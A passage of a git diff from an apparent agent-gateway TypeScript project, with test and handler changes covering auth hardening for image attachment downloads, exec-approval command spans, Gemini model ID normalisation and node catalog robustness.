expect(token).toBeTruthy(); + if (!token) { + throw new Error(`expected rotated operator token for device ${paired.identity.deviceId}`); + } return { deviceId: paired.identity.deviceId, identityPath: paired.identityPath, @@ -96,7 +98,9 @@ export async function issueOperatorToken(params: { const device = await getPairedDevice(paired.identity.deviceId); const token = device?.tokens?.operator?.token ?? ""; - expect(token).toBeTruthy(); + if (!token) { + throw new Error(`expected operator token for paired device ${paired.identity.deviceId}`); + } expect(device?.approvedScopes).toEqual(params.approvedScopes); return { deviceId: paired.identity.deviceId, diff --git a/src/gateway/gateway-codex-bind.live.test.ts b/src/gateway/gateway-codex-bind.live.test.ts index 184d151ee60..638e207c3e9 100644 --- a/src/gateway/gateway-codex-bind.live.test.ts +++ b/src/gateway/gateway-codex-bind.live.test.ts @@ -2,7 +2,7 @@ import { randomBytes, randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { describe, it } from "vitest"; +import { describe, expect, it } from "vitest"; import { isLiveTestEnabled } from "../agents/live-test-helpers.js"; import type { ChannelOutboundContext } from "../channels/plugins/types.public.js"; import { clearConfigCache, clearRuntimeConfigSnapshot } from "../config/config.js"; diff --git a/src/gateway/gateway-models.profiles.live.test.ts b/src/gateway/gateway-models.profiles.live.test.ts index 80ad3202565..0077f4862a2 100644 --- a/src/gateway/gateway-models.profiles.live.test.ts +++ b/src/gateway/gateway-models.profiles.live.test.ts @@ -94,7 +94,6 @@ const GATEWAY_LIVE_HEARTBEAT_MS = Math.max( ); const GATEWAY_LIVE_STRIP_SCAFFOLDING_MODEL_KEYS = new Set([ "google/gemini-3-flash-preview", - "google/gemini-3-pro-preview", "google/gemini-3.1-flash-lite-preview", "google/gemini-3.1-pro-preview", "google/gemini-3.1-pro-preview-customtools", @@ -703,6 +702,32 @@ describe("resolveExplicitLiveModelCandidates", () => { expect(candidates).toEqual([model]); }); + it("normalizes retired Google Gemini refs before targeted lookup", () => { + const model = createGatewayLiveTestModel("google", "gemini-3.1-pro-preview"); + const matcher = createLiveTargetMatcher({ + providerFilter: new Set(["google"]), + modelFilter: new Set(["google/gemini-3-pro-preview"]), + env: {}, + }); + const candidates = resolveExplicitLiveModelCandidates({ + modelRegistry: { + find(provider, modelId) { + expect(provider).toBe("google"); + expect(modelId).toBe("gemini-3.1-pro-preview"); + return model; + }, + getAll() { + throw new Error("explicit model lookup should not enumerate registry"); + }, + }, + modelFilter: new Set(["google/gemini-3-pro-preview"]), + providerFilter: new Set(["google"]), + targetMatcher: matcher, + }); + + expect(candidates).toEqual([model]); + }); + it("falls back to enumeration for ambiguous model-only filters", () => { const matcher = createLiveTargetMatcher({ providerFilter: null, @@ -1632,7 +1657,11 @@ function parseExplicitLiveModelRef( const slash = trimmed.indexOf("/"); if (slash !== -1) { const provider = normalizeProviderId(trimmed.slice(0, slash)); - const modelId = trimmed.slice(slash + 1).trim(); + const rawModelId = trimmed.slice(slash + 1).trim(); + const modelId = + provider === "google" || provider === "google-gemini-cli" || provider === "google-vertex" + ? normalizeGoogleModelId(rawModelId) + : rawModelId; return provider && modelId ? { provider, modelId } : null; } if (!providerFilter || providerFilter.size !== 1) { diff --git a/src/gateway/managed-image-attachments.test.ts b/src/gateway/managed-image-attachments.test.ts index fbb1d6623c1..c5967b6fa21 100644 --- a/src/gateway/managed-image-attachments.test.ts +++ b/src/gateway/managed-image-attachments.test.ts @@ -9,13 +9,14 @@ import { setMediaStoreNetworkDepsForTest } from "../media/store.js"; const authorizeGatewayHttpRequestOrReplyMock = vi.fn(); const resolveOpenAiCompatibleHttpOperatorScopesMock = vi.fn(); -const getLatestSubagentRunByChildSessionKeyMock = vi.fn(); +const resolveOpenAiCompatibleHttpSenderIsOwnerMock = vi.fn(); const loadSessionEntryMock = vi.fn(); const readSessionMessagesMock = vi.fn(); vi.mock("./http-utils.js", () => ({ authorizeGatewayHttpRequestOrReply: authorizeGatewayHttpRequestOrReplyMock, resolveOpenAiCompatibleHttpOperatorScopes: resolveOpenAiCompatibleHttpOperatorScopesMock, + resolveOpenAiCompatibleHttpSenderIsOwner: resolveOpenAiCompatibleHttpSenderIsOwnerMock, })); vi.mock("./session-utils.js", () => ({ @@ -23,10 +24,6 @@ vi.mock("./session-utils.js", () => ({ readSessionMessagesAsync: readSessionMessagesMock, })); -vi.mock("../agents/subagent-registry.js", () => ({ - getLatestSubagentRunByChildSessionKey: getLatestSubagentRunByChildSessionKeyMock, -})); - const { DEFAULT_MANAGED_IMAGE_ATTACHMENT_LIMITS, attachManagedOutgoingImagesToMessage, @@ -128,7 +125,6 @@ async function requestManagedImage(params: { authResponse?: Record; headers?: Record; transcriptMessages?: Record[]; - subagentRun?: Record | null; sessionEntry?: { sessionId: string; sessionFile?: string }; }) { authorizeGatewayHttpRequestOrReplyMock.mockImplementation(async ({ res }) => { @@ -140,7 +136,15 @@ async function requestManagedImage(params: { return { ok: true, ...params.authResponse }; }); resolveOpenAiCompatibleHttpOperatorScopesMock.mockReturnValue(params.scopes ?? ["operator.read"]); - getLatestSubagentRunByChildSessionKeyMock.mockReturnValue(params.subagentRun ?? null); + resolveOpenAiCompatibleHttpSenderIsOwnerMock.mockImplementation((_req, requestAuth) => { + if (requestAuth.authMethod === "token" || requestAuth.authMethod === "password") { + return true; + } + return ( + requestAuth.trustDeclaredOperatorScopes === true && + (params.scopes ?? ["operator.read"]).includes("operator.admin") + ); + }); loadSessionEntryMock.mockReturnValue({ storePath: path.join(params.stateDir, "gateway-sessions.json"), entry: params.sessionEntry ?? { sessionId: "sess-1", sessionFile: "session.jsonl" }, @@ -237,7 +241,7 @@ describe("handleManagedOutgoingImageHttpRequest", () => { const { result } = await requestManagedImage({ stateDir, pathName: `/api/chat/media/outgoing/${encodeURIComponent(sessionKey)}/${attachmentId}/full`, - headers: { "x-openclaw-requester-session-key": sessionKey }, + authResponse: { authMethod: "token" }, }); expect(result.statusCode).toBe(200); @@ -259,25 +263,40 @@ describe("handleManagedOutgoingImageHttpRequest", () => { expect(result.body.byteLength).toBe(0); }); - it("rejects requests from unrelated sessions", async () => { + it("rejects non-owner trusted-proxy requests with self-declared session ownership", async () => { const { attachmentId, sessionKey } = await createFixture(stateDir); const { result } = await requestManagedImage({ stateDir, pathName: `/api/chat/media/outgoing/${encodeURIComponent(sessionKey)}/${attachmentId}/full`, - headers: { "x-openclaw-requester-session-key": "agent:main:other" }, + authResponse: { authMethod: "trusted-proxy", trustDeclaredOperatorScopes: true }, + headers: { "x-openclaw-requester-session-key": sessionKey }, }); expect(result.statusCode).toBe(403); }); - it("allows device-token access without requester session ownership", async () => { + it("rejects device-token access with self-declared session ownership", async () => { const { attachmentId, sessionKey } = await createFixture(stateDir); const { result } = await requestManagedImage({ stateDir, pathName: `/api/chat/media/outgoing/${encodeURIComponent(sessionKey)}/${attachmentId}/full`, authResponse: { authMethod: "device-token" }, + headers: { "x-openclaw-requester-session-key": sessionKey }, + }); + + expect(result.statusCode).toBe(403); + }); + + it("serves owner trusted-proxy requests with admin scope", async () => { + const { attachmentId, sessionKey } = await createFixture(stateDir); + + const { result } = await requestManagedImage({ + stateDir, + pathName: `/api/chat/media/outgoing/${encodeURIComponent(sessionKey)}/${attachmentId}/full`, + authResponse: { authMethod: "trusted-proxy", trustDeclaredOperatorScopes: true }, + scopes: ["operator.admin"], }); expect(result.statusCode).toBe(200); @@ -332,14 +351,14 @@ describe("handleManagedOutgoingImageHttpRequest", () => { const first = await requestManagedImage({ stateDir, pathName, - headers: { "x-openclaw-requester-session-key": sessionKey }, + authResponse: { authMethod: "token" }, sessionEntry: { sessionId: "sess-main", sessionFile }, transcriptMessages, }); const second = await requestManagedImage({ stateDir, pathName, - headers: { "x-openclaw-requester-session-key": sessionKey }, + authResponse: { authMethod: "token" }, sessionEntry: { sessionId: "sess-main", sessionFile }, transcriptMessages, }); @@ -354,7 +373,7 @@ describe("handleManagedOutgoingImageHttpRequest", () => { const third = await requestManagedImage({ stateDir, pathName, - headers: { "x-openclaw-requester-session-key": sessionKey }, + authResponse: { authMethod: "token" }, sessionEntry: { sessionId: "sess-main", sessionFile }, transcriptMessages, }); diff --git a/src/gateway/managed-image-attachments.ts b/src/gateway/managed-image-attachments.ts index 0ee8807ff8f..3cb5b63c0eb 100644 --- a/src/gateway/managed-image-attachments.ts +++ b/src/gateway/managed-image-attachments.ts @@ -2,7 +2,6 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import type { IncomingMessage, ServerResponse } from "node:http"; import path from "node:path"; -import { getLatestSubagentRunByChildSessionKey } from "../agents/subagent-registry.js"; import { resolveStateDir } from "../config/paths.js"; import { readLocalFileSafely } from "../infra/fs-safe.js"; import { tryReadJson, writeJson } from "../infra/json-files.js"; @@ -23,6 +22,7 @@ import { sendJson, sendMethodNotAllowed } from "./http-common.js"; import { authorizeGatewayHttpRequestOrReply, resolveOpenAiCompatibleHttpOperatorScopes, + resolveOpenAiCompatibleHttpSenderIsOwner, } from "./http-utils.js"; import { authorizeOperatorScopesForMethod } from "./method-scopes.js"; import { loadSessionEntry, readSessionMessagesAsync } from "./session-utils.js"; @@ -277,31 +277,6 @@ function buildOutgoingVariantUrl(sessionKey: string, attachmentId: string, varia return `${OUTGOING_IMAGE_ROUTE_PREFIX}/${encodeURIComponent(sessionKey)}/${attachmentId}/${variant}`; } -function resolveRequesterSessionKey(req: IncomingMessage) { - const raw = req.headers["x-openclaw-requester-session-key"]; - if (Array.isArray(raw)) { - return raw[0]?.trim() || null; - } - return typeof raw === "string" && raw.trim().length > 0 ? raw.trim() : null; -} - -async function requesterOwnsManagedImageSession(params: { - requesterSessionKey: string; - targetSessionKey: string; -}) { - if (params.requesterSessionKey === params.targetSessionKey) { - return true; - } - const subagentRun = getLatestSubagentRunByChildSessionKey(params.targetSessionKey); - if (!subagentRun) { - return false; - } - return ( - subagentRun.requesterSessionKey === params.requesterSessionKey || - subagentRun.controllerSessionKey === params.requesterSessionKey - ); -} - function deriveAltText(source: string, index: number) { const fallback = `Generated image ${index + 1}`; try { @@ -1009,9 +984,6 @@ export async function handleManagedOutgoingImageHttpRequest( return true; } - const privilegedAccess = - requestAuth.trustDeclaredOperatorScopes || requestAuth.authMethod === "device-token"; - const requestedScopes = resolveOpenAiCompatibleHttpOperatorScopes(req, requestAuth); const scopeAuth = authorizeOperatorScopesForMethod("chat.history", requestedScopes); if (!scopeAuth.allowed) { @@ -1046,32 +1018,17 @@ export async function handleManagedOutgoingImageHttpRequest( sendStatus(res, 404, "not found"); return true; } - if (!privilegedAccess) { - const requesterSessionKey = resolveRequesterSessionKey(req); - if (!requesterSessionKey) { - sendJson(res, 403, { - ok: false, - error: { - type: "forbidden", - message: "requester session ownership required", - }, - }); - return true; - } - const ownsSession = await requesterOwnsManagedImageSession({ - requesterSessionKey, - targetSessionKey: record.sessionKey, + // Requester-session headers are client-declared, so media bytes require + // authenticated owner/admin context rather than trusting a URL-scoped header. + if (!resolveOpenAiCompatibleHttpSenderIsOwner(req, requestAuth)) { + sendJson(res, 403, { + ok: false, + error: { + type: "forbidden", + message: "owner access required", + }, }); - if (!ownsSession) { - sendJson(res, 403, { - ok: false, - error: { - type: "forbidden", - message: "requester session does not own attachment session", - }, - }); - return true; - } + return true; } if (!(await recordMatchesTranscriptMessage(record))) { sendStatus(res, 404, "not found"); diff --git a/src/gateway/node-catalog.test.ts b/src/gateway/node-catalog.test.ts index 05a1e1a4651..9c5f3d32065 100644 --- a/src/gateway/node-catalog.test.ts +++ b/src/gateway/node-catalog.test.ts @@ -289,4 +289,30 @@ describe("gateway/node-catalog", () => { }), ); }); + + it("ignores malformed node capability entries instead of throwing", () => { + const catalog = createKnownNodeCatalog({ + pairedDevices: [], + pairedNodes: [], + connectedNodes: [ + { + nodeId: "bad-node", + connId: "conn-1", + client: {} as never, + displayName: "Bad Node", + caps: ["camera", undefined], + commands: ["system.run", null], + connectedAtMs: 1, + } as never, + ], + }); + + expect(listKnownNodes(catalog)).toEqual([ + expect.objectContaining({ + nodeId: "bad-node", + caps: ["camera"], + commands: ["system.run"], + }), + ]); + }); }); diff --git a/src/gateway/node-catalog.ts b/src/gateway/node-catalog.ts index ba502bec4b7..442d7562a05 100644 --- a/src/gateway/node-catalog.ts +++ b/src/gateway/node-catalog.ts @@ -47,13 +47,16 @@ type KnownNodeCatalog = { entriesById: Map; }; -function uniqueSortedStrings(...items: Array): string[] { +function uniqueSortedStrings(...items: Array): string[] { const values = new Set(); for (const item of items) { - if (!item) { + if (!Array.isArray(item)) { continue; } for (const value of item) { + if (typeof value !== "string") { + continue; + } const trimmed = value.trim(); if (trimmed) { values.add(trimmed); @@ -115,7 +118,12 @@ function resolveEffectiveLastSeen(params: { ? { atMs: params.devicePairing.lastSeenAtMs, reason: params.devicePairing.lastSeenReason } : undefined, ].filter((entry) => entry !== undefined); - const newest = candidates.toSorted((left, right) => right.atMs - left.atMs)[0]; + let newest: { atMs: number; reason?: string } | undefined; + for (const candidate of candidates) { + if (!newest || candidate.atMs > newest.atMs) { + newest = candidate; + } + } if (!newest) { return {}; } diff --git a/src/gateway/openresponses-http.test.ts b/src/gateway/openresponses-http.test.ts index a618a63e0ce..e2b17ed2971 100644 --- a/src/gateway/openresponses-http.test.ts +++ b/src/gateway/openresponses-http.test.ts @@ -140,8 +140,8 @@ function findSseEvent(events: SseEvent[], eventName: string): SseEvent { return event; } -function parseSseData(event: SseEvent): T { - return JSON.parse(event.data) as T; +function parseSseData(event: SseEvent): unknown { + return JSON.parse(event.data); } function requireSessionKey(value: string | undefined, label: string): string { @@ -934,12 +934,14 @@ describe("OpenResponses HTTP API (e2e)", () => { const text = await res.text(); const events = parseSseEvents(text); const outputTextDone = findSseEvent(events, "response.output_text.done"); - expect(parseSseData<{ text?: string }>(outputTextDone).text).toBe("Let me check that."); + expect((parseSseData(outputTextDone) as { text?: string }).text).toBe("Let me check that."); const completed = findSseEvent(events, "response.completed"); - const response = parseSseData<{ - response?: { status?: string; output?: Array> }; - }>(completed).response; + const response = ( + parseSseData(completed) as { + response?: { status?: string; output?: Array> }; + } + ).response; expect(response?.status).toBe("incomplete"); expect(response?.output?.map((item) => item.type)).toEqual(["message", "function_call"]); expect(response?.output?.[0]?.phase).toBe("commentary"); @@ -1076,9 +1078,11 @@ describe("OpenResponses HTTP API (e2e)", () => { expect(doneFunctionCalls.map((evt) => evt.output_index)).toEqual([1, 2, 3]); const completed = findSseEvent(events, "response.completed"); - const response = parseSseData<{ - response?: { status?: string; output?: Array> }; - }>(completed).response; + const response = ( + parseSseData(completed) as { + response?: { status?: string; output?: Array> }; + } + ).response; expect(response?.status).toBe("incomplete"); expect(response?.output?.map((item) => item.type)).toEqual([ "message", diff --git a/src/gateway/protocol/exec-approvals-validators.test.ts b/src/gateway/protocol/exec-approvals-validators.test.ts index 13bb01ded9f..aa22e2ee815 100644 --- a/src/gateway/protocol/exec-approvals-validators.test.ts +++ b/src/gateway/protocol/exec-approvals-validators.test.ts @@ -1,5 +1,9 @@ import { describe, expect, it } from "vitest"; -import { validateExecApprovalsNodeSetParams, validateExecApprovalsSetParams } from "./index.js"; +import { + validateExecApprovalRequestParams, + validateExecApprovalsNodeSetParams, + validateExecApprovalsSetParams, +} from "./index.js"; describe("exec approvals protocol validators", () => { it("accepts runtime-owned allowlist metadata on gateway and node set payloads", () => { @@ -72,4 +76,27 @@ describe("exec approvals protocol validators", () => { }), ).toBe(false); }); + + it("requires command spans to have non-negative starts and positive exclusive ends", () => { + expect( + validateExecApprovalRequestParams({ + command: "echo hi", + commandSpans: [{ startIndex: 0, endIndex: 4 }], + }), + ).toBe(true); + + expect( + validateExecApprovalRequestParams({ + command: "echo hi", + commandSpans: [{ startIndex: 0, endIndex: 0 }], + }), + ).toBe(false); + + expect( + validateExecApprovalRequestParams({ + command: "echo hi", + commandSpans: [{ startIndex: -1, endIndex: 4 }], + }), + ).toBe(false); + }); }); diff --git a/src/gateway/protocol/schema/agents-models-skills.ts b/src/gateway/protocol/schema/agents-models-skills.ts index ff98bbc6c72..854ca5fd619 100644 --- a/src/gateway/protocol/schema/agents-models-skills.ts +++ b/src/gateway/protocol/schema/agents-models-skills.ts @@ -48,6 +48,8 @@ export const AgentSummarySchema = Type.Object( Type.Literal("env"), Type.Literal("agent"), Type.Literal("defaults"), + Type.Literal("model"), + Type.Literal("provider"), Type.Literal("implicit"), ]), }, diff --git a/src/gateway/protocol/schema/exec-approvals.ts b/src/gateway/protocol/schema/exec-approvals.ts index ba92a0b361d..be7310904bb 100644 --- a/src/gateway/protocol/schema/exec-approvals.ts +++ b/src/gateway/protocol/schema/exec-approvals.ts @@ -133,6 +133,24 @@ export const ExecApprovalRequestParamsSchema = Type.Object( security: Type.Optional(Type.Union([Type.String(), Type.Null()])), ask: Type.Optional(Type.Union([Type.String(), Type.Null()])), warningText: Type.Optional(Type.Union([Type.String(), Type.Null()])), + commandSpans: Type.Optional( + Type.Array( + Type.Object( + { + startIndex: Type.Integer({ + minimum: 0, + description: "Inclusive UTF-16 code unit offset into command.", + }), + endIndex: Type.Integer({ + minimum: 1, + description: + "Exclusive UTF-16 code unit offset into command; must be greater than startIndex and no greater than command.length.", + }), + }, + { additionalProperties: false }, + ), + ), + ), agentId: Type.Optional(Type.Union([Type.String(), Type.Null()])), resolvedPath: Type.Optional(Type.Union([Type.String(), Type.Null()])), sessionKey: Type.Optional(Type.Union([Type.String(), Type.Null()])), diff --git a/src/gateway/server-methods/chat.inject.parentid.test.ts b/src/gateway/server-methods/chat.inject.parentid.test.ts index 060a8cb7052..b901304087e 100644 --- a/src/gateway/server-methods/chat.inject.parentid.test.ts +++ b/src/gateway/server-methods/chat.inject.parentid.test.ts @@ -19,7 +19,11 @@ describe("gateway chat.inject transcript writes", () => { }); expect(appended.ok).toBe(true); expect(appended.messageId).toEqual(expect.any(String)); - expect(appended.messageId.length).toBeGreaterThan(0); + const messageId = appended.messageId; + if (!messageId) { + throw new Error("expected appended message id"); + } + expect(messageId.length).toBeGreaterThan(0); const lines = fs.readFileSync(transcriptPath, "utf-8").split(/\r?\n/).filter(Boolean); expect(lines.length).toBeGreaterThanOrEqual(2); @@ -62,13 +66,17 @@ describe("gateway chat.inject transcript writes", () => { }); expect(appended.ok).toBe(true); expect(appended.messageId).toEqual(expect.any(String)); - expect(appended.messageId.length).toBeGreaterThan(0); + const messageId = appended.messageId; + if (!messageId) { + throw new Error("expected appended message id"); + } + expect(messageId.length).toBeGreaterThan(0); const lines = fs.readFileSync(transcriptPath, "utf-8").split(/\r?\n/).filter(Boolean); const last = JSON.parse(lines.at(-1) as string) as Record; expect(last.type).toBe("message"); - expect(last).toHaveProperty("id", appended.messageId); + expect(last).toHaveProperty("id", messageId); expect(last).toHaveProperty("message"); expect(Object.prototype.hasOwnProperty.call(last, "parentId")).toBe(false); } finally { diff --git a/src/gateway/server-methods/commands.test.ts b/src/gateway/server-methods/commands.test.ts index ae66c7865d9..92074f5b3d5 100644 --- a/src/gateway/server-methods/commands.test.ts +++ b/src/gateway/server-methods/commands.test.ts @@ -205,7 +205,11 @@ describe("commands.list handler", () => { it("maps native commands with category, scope, and args", () => { const { payload } = callHandler(); - const { commands } = payload as { commands: Array> }; + const { commands } = payload as { + commands: Array< + Record & { name: string; args?: Array> } + >; + }; const model = requireCommand(commands, "model"); expect(model).toMatchObject({ name: "model", @@ -217,7 +221,7 @@ describe("commands.list handler", () => { scope: "both", acceptsArgs: true, }); - const args = model.args as Array>; + const args = model.args ?? []; expect(args).toHaveLength(1); expect(args[0].choices).toEqual([ { value: "gpt-5.4", label: "GPT-5.4" }, diff --git a/src/gateway/server-methods/config.test.ts b/src/gateway/server-methods/config.test.ts index a73e0fdd057..2a0d0e3517f 100644 --- a/src/gateway/server-methods/config.test.ts +++ b/src/gateway/server-methods/config.test.ts @@ -18,8 +18,10 @@ vi.mock("node:child_process", async () => { function invokeExecFileCallback(args: unknown[], error: Error | null) { const callback = args.at(-1); - expect(callback).toEqual(expect.any(Function)); - (callback as (error: Error | null) => void)(error); + if (typeof callback !== "function") { + throw new Error("expected execFile callback"); + } + callback(error); } describe("resolveConfigOpenCommand", () => { diff --git a/src/gateway/server-methods/doctor.ts b/src/gateway/server-methods/doctor.ts index 4b4dec10b05..ab66aa4fc08 100644 --- a/src/gateway/server-methods/doctor.ts +++ b/src/gateway/server-methods/doctor.ts @@ -459,7 +459,25 @@ function trimDreamingEntries( entries: DoctorMemoryDreamingEntryPayload[], compare: (a: DoctorMemoryDreamingEntryPayload, b: DoctorMemoryDreamingEntryPayload) => number, ): DoctorMemoryDreamingEntryPayload[] { - return entries.toSorted(compare).slice(0, DREAMING_ENTRY_LIST_LIMIT); + const selected: DoctorMemoryDreamingEntryPayload[] = []; + for (const entry of entries) { + let insertAt = selected.length; + for (let index = 0; index < selected.length; index += 1) { + if (compare(entry, selected[index]) < 0) { + insertAt = index; + break; + } + } + if (insertAt < DREAMING_ENTRY_LIST_LIMIT) { + selected.splice(insertAt, 0, entry); + if (selected.length > DREAMING_ENTRY_LIST_LIMIT) { + selected.pop(); + } + } else if (selected.length < DREAMING_ENTRY_LIST_LIMIT) { + selected.push(entry); + } + } + return selected; } async function loadDreamingStoreStats( diff --git a/src/gateway/server-methods/exec-approval.ts b/src/gateway/server-methods/exec-approval.ts index 1e33610da67..64b86b87081 100644 --- a/src/gateway/server-methods/exec-approval.ts +++ b/src/gateway/server-methods/exec-approval.ts @@ -49,6 +49,35 @@ type ExecApprovalIosPushDelivery = { handleExpired?: (request: ExecApprovalRequest) => Promise; }; +function normalizeCommandSpans( + spans: { startIndex: number; endIndex: number }[] | undefined, + commandLength: number, +): { startIndex: number; endIndex: number }[] | undefined { + if (!spans) { + return undefined; + } + const candidates = spans + .filter( + (span) => + Number.isSafeInteger(span.startIndex) && + Number.isSafeInteger(span.endIndex) && + span.startIndex >= 0 && + span.endIndex > span.startIndex && + span.endIndex <= commandLength, + ) + .toSorted((a, b) => a.startIndex - b.startIndex || b.endIndex - a.endIndex); + const accepted: { startIndex: number; endIndex: number }[] = []; + let cursor = 0; + for (const span of candidates) { + if (span.startIndex < cursor) { + continue; + } + accepted.push({ startIndex: span.startIndex, endIndex: span.endIndex }); + cursor = span.endIndex; + } + return accepted.length > 0 ? accepted : undefined; +} + export function createExecApprovalHandlers( manager: ExecApprovalManager, opts?: { forwarder?: ExecApprovalForwarder; iosPushDelivery?: ExecApprovalIosPushDelivery }, @@ -134,6 +163,10 @@ export function createExecApprovalHandlers( security?: string; ask?: string; warningText?: string | null; + commandSpans?: { + startIndex: number; + endIndex: number; + }[]; agentId?: string; resolvedPath?: string; sessionKey?: string; @@ -180,7 +213,7 @@ export function createExecApprovalHandlers( ); return; } - if (!effectiveCommandText) { + if (effectiveCommandText.trim().length === 0) { respond(false, undefined, errorShape(ErrorCodes.INVALID_REQUEST, "command is required")); return; } @@ -215,6 +248,11 @@ export function createExecApprovalHandlers( cwd: effectiveCwd, sanitizeText: sanitizeExecApprovalWarningText, }); + const sanitizedCommandText = sanitizeExecApprovalDisplayText(effectiveCommandText); + const commandSpans = + sanitizedCommandText === effectiveCommandText + ? normalizeCommandSpans(p.commandSpans, sanitizedCommandText.length) + : undefined; const systemRunBinding = host === "node" ? buildSystemRunApprovalBinding({ @@ -234,7 +272,7 @@ export function createExecApprovalHandlers( return; } const request = { - command: sanitizeExecApprovalDisplayText(effectiveCommandText), + command: sanitizedCommandText, commandPreview: host === "node" || !approvalContext.commandPreview ? undefined @@ -250,6 +288,7 @@ export function createExecApprovalHandlers( ask: p.ask ?? null, warningText: warningText ? sanitizeExecApprovalWarningText(warningText) : null, commandAnalysis, + commandSpans, allowedDecisions: resolveExecApprovalAllowedDecisions({ ask: p.ask ?? null }), agentId: effectiveAgentId ?? null, resolvedPath: p.resolvedPath ?? null, diff --git a/src/gateway/server-methods/server-methods.test.ts b/src/gateway/server-methods/server-methods.test.ts index 03aebb70e0e..59201b6b75c 100644 --- a/src/gateway/server-methods/server-methods.test.ts +++ b/src/gateway/server-methods/server-methods.test.ts @@ -947,6 +947,28 @@ describe("exec approval handlers", () => { ); }); + it("rejects whitespace-only approval commands without trimming display text", async () => { + const { handlers, respond, context } = createExecApprovalFixture(); + await requestExecApproval({ + handlers, + respond, + context, + params: { + command: " ", + host: "gateway", + nodeId: undefined, + systemRunPlan: undefined, + }, + }); + expect(respond).toHaveBeenCalledWith( + false, + undefined, + expect.objectContaining({ + message: "command is required", + }), + ); + }); + it("returns pending approval details for exec.approval.get", async () => { const { handlers, broadcasts, respond, context } = createExecApprovalFixture(); @@ -1442,6 +1464,57 @@ describe("exec approval handlers", () => { expect(request["warningText"]).not.toContain("\\u{A}"); }); + it("preserves command analysis and normalizes command spans", async () => { + const { handlers, broadcasts, respond, context } = createExecApprovalFixture(); + await requestExecApproval({ + handlers, + respond, + context, + params: { + timeoutMs: 10, + command: "ls | python -c 'print(1)'", + commandSpans: [ + { startIndex: 5, endIndex: 11 }, + { startIndex: 0, endIndex: 2 }, + { startIndex: 1, endIndex: 4 }, + { startIndex: 12, endIndex: 999 }, + { startIndex: 11, endIndex: 11 }, + ], + }, + }); + const requested = broadcasts.find((entry) => entry.event === "exec.approval.requested"); + expect(requested).toBeTruthy(); + const request = (requested?.payload as { request?: Record })?.request ?? {}; + expect(request["commandAnalysis"]).toEqual( + expect.objectContaining({ commandCount: 1, nestedCommandCount: 0 }), + ); + expect(request["commandSpans"]).toEqual([ + { startIndex: 0, endIndex: 2 }, + { startIndex: 5, endIndex: 11 }, + ]); + }); + + it("drops command spans when command display sanitization changes offsets", async () => { + const { handlers, broadcasts, respond, context } = createExecApprovalFixture(); + await requestExecApproval({ + handlers, + respond, + context, + params: { + timeoutMs: 10, + command: "ls\u0000 | python -c 'print(1)'", + commandSpans: [ + { startIndex: 0, endIndex: 2 }, + { startIndex: 6, endIndex: 12 }, + ], + }, + }); + const requested = broadcasts.find((entry) => entry.event === "exec.approval.requested"); + const request = (requested?.payload as { request?: Record })?.request ?? {}; + expect(request["command"]).not.toBe("ls\u0000 | python -c 'print(1)'"); + expect(request["commandSpans"]).toBeUndefined(); + }); + it("accepts resolve during broadcast", async () => { const manager = new ExecApprovalManager(); const handlers = createExecApprovalHandlers(manager); diff --git a/src/gateway/server-methods/sessions.ts b/src/gateway/server-methods/sessions.ts index bfa2b095a6d..dd3de12dff0 100644 --- a/src/gateway/server-methods/sessions.ts +++ b/src/gateway/server-methods/sessions.ts @@ -2,7 +2,7 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs"; import path from "node:path"; import { CURRENT_SESSION_VERSION } from "@mariozechner/pi-coding-agent"; -import { resolveAgentRuntimeMetadata } from "../../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../../agents/agent-runtime-metadata.js"; import { listAgentIds, resolveAgentWorkspaceDir, @@ -1601,7 +1601,13 @@ export const sessionsHandlers: GatewayRequestHandlers = { provider: resolved.provider, model: resolved.model, }); - const agentRuntime = resolveAgentRuntimeMetadata(cfg, agentId); + const agentRuntime = resolveModelAgentRuntimeMetadata({ + cfg, + agentId, + provider: resolvedDisplayModel.provider, + model: resolvedDisplayModel.model, + sessionKey: target.canonicalKey ?? key, + }); const result: SessionsPatchResult = { ok: true, path: storePath, diff --git a/src/gateway/server-methods/tools-catalog.test.ts b/src/gateway/server-methods/tools-catalog.test.ts index 028a068dcda..c4310c13e80 100644 --- a/src/gateway/server-methods/tools-catalog.test.ts +++ b/src/gateway/server-methods/tools-catalog.test.ts @@ -94,9 +94,10 @@ describe("tools.catalog handler", () => { } | undefined; expect(payload?.agentId).toBe("main"); - expect(payload?.groups.some((group) => group.source === "plugin")).toBe(false); - const media = payload?.groups.find((group) => group.id === "media"); - expect(media?.tools.some((tool) => tool.id === "tts" && tool.source === "core")).toBe(true); + const groups = payload?.groups ?? []; + expect(groups.filter((group) => group.source === "plugin")).toEqual([]); + const media = groups.find((group) => group.id === "media"); + expect(media?.tools.map((tool) => `${tool.source}:${tool.id}`) ?? []).toContain("core:tts"); }); it("includes plugin groups with plugin metadata", async () => { diff --git a/src/gateway/server.auth.compat-baseline.test.ts b/src/gateway/server.auth.compat-baseline.test.ts index fffa089bc3e..699f567eead 100644 --- a/src/gateway/server.auth.compat-baseline.test.ts +++ b/src/gateway/server.auth.compat-baseline.test.ts @@ -333,6 +333,52 @@ describe("gateway auth compatibility baseline", () => { } }); + test("allows auth-none local backend connects without device identity", async () => { + const ws = await openWs(port); + try { + const res = await connectReq(ws, { + skipDefaultAuth: true, + client: { ...BACKEND_GATEWAY_CLIENT }, + scopes: ["operator.admin"], + device: null, + }); + expect(res.ok, JSON.stringify(res)).toBe(true); + + const helloOk = res.payload as + | { + auth?: { + scopes?: unknown; + }; + } + | undefined; + expect(helloOk?.auth?.scopes).toEqual(["operator.admin"]); + + const adminRes = await rpcReq(ws, "set-heartbeats", { enabled: false }); + expect(adminRes.ok).toBe(true); + } finally { + ws.close(); + } + }); + + test("rejects auth-none browser-origin backend connects without device identity", async () => { + const ws = await openWs(port, { origin: originForPort(port) }); + try { + const res = await connectReq(ws, { + skipDefaultAuth: true, + client: { ...BACKEND_GATEWAY_CLIENT }, + scopes: ["operator.admin"], + device: null, + }); + expect(res.ok).toBe(false); + expect(res.error?.message ?? "").toContain("device identity required"); + expect((res.error?.details as { code?: string } | undefined)?.code).toBe( + ConnectErrorDetailCodes.DEVICE_IDENTITY_REQUIRED, + ); + } finally { + ws.close(); + } + }); + test("keeps auth-none control ui first-connect token absence unchanged", async () => { const ws = await openWs(port, { origin: originForPort(port) }); try { diff --git a/src/gateway/server.auth.control-ui.suite.ts b/src/gateway/server.auth.control-ui.suite.ts index 3f0aa6d0400..2420e978ce7 